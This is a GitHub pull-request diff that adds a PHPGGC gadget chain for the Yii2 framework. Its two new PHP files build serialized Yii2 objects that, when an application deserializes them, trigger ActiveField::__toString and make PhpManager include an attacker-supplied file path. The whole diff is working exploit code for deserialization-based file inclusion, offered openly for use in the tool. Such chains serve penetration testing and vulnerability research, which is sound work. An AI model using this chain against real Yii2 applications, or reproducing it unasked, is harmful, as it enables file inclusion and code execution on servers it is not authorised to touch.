Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 23 additions & 0 deletions gadgetchains/Yii2/FI/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
<?php

namespace GadgetChain\Yii2;

class FI1 extends \PHPGGC\GadgetChain\FileInclude
{
public static $version = '2.0.0 <= 2.0.54+';
public static $vector = '__toString';
public static $author = 'Andrey Ryzhov (github.com/notdenied), Elizar Batin';
public static $information = '
Includes $remote_path through yii\rbac\PhpManager::loadFromFile().
The chain starts in yii\widgets\ActiveField::__toString() and requires
Yii.php to be loaded, which is normally true in Yii2 applications.
';

public function generate(array $parameters)
{
return new \yii\widgets\ActiveField(
new \yii\di\ServiceLocator($parameters['remote_path']),
new \yii\base\DynamicModel()
);
}
}
112 changes: 112 additions & 0 deletions gadgetchains/Yii2/FI/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
<?php

namespace yii\base
{
class Component
{
private $_events = [];
private $_eventWildcards = [];
private $_behaviors = null;
}

class Model extends Component
{
private $_errors = null;
private $_validators;
}

class DynamicModel extends Model
{
private $_attributes = ['t' => 'v'];
}
}

namespace yii\di
{
class ServiceLocator extends \yii\base\Component
{
private $_components;
private $_definitions;

public function __construct($remote_path)
{
$this->_components = [];
$this->_definitions = [
'enableClientScript' => new \stdClass(),
'enableAjaxValidation' => [
'class' => 'yii\rbac\PhpManager',
'itemFile' => '/__phpggc_nonexistent_items__',
'assignmentFile' => '/__phpggc_nonexistent_assignment__',
'ruleFile' => $remote_path,
],
'attributes' => [
'class' => 'yii\web\CookieCollection',
],
'validationStateOn' => new \stdClass(),
];
}
}
}

namespace yii\rbac
{
class PhpManager extends \yii\base\Component
{
public $itemFile;
public $assignmentFile;
public $ruleFile;
}
}

namespace yii\validators
{
class Validator extends \yii\base\Component
{
public $attributes = ['t'];
public $enableClientValidation = false;
public $when = true;
}

class RequiredValidator extends Validator
{
}
}

namespace yii\widgets
{
class ActiveField
{
public $form;
public $model;
public $attribute = 't';
public $parts = [
'{input}' => 'IN',
'{label}' => 'LA',
'{error}' => 'ER',
'{hint}' => 'HI',
];
public $template = '{input}';
public $enableClientValidation = false;
public $enableAjaxValidation = null;
public $validateOnChange = true;
public $validateOnBlur = true;
public $validateOnType = false;
public $validationDelay = 500;
public $selectors = [];
public $errorOptions = ['class' => 'help-block'];
public $addAriaAttributes = true;

public function __construct($form, $model)
{
$this->form = $form;
$this->model = $model;

$model_reflection = new \ReflectionClass('yii\base\Model');
$validators = $model_reflection->getProperty('_validators');
if (PHP_VERSION_ID < 80100) {
$validators->setAccessible(true);
}
$validators->setValue($model, [new \yii\validators\RequiredValidator()]);
}
}
}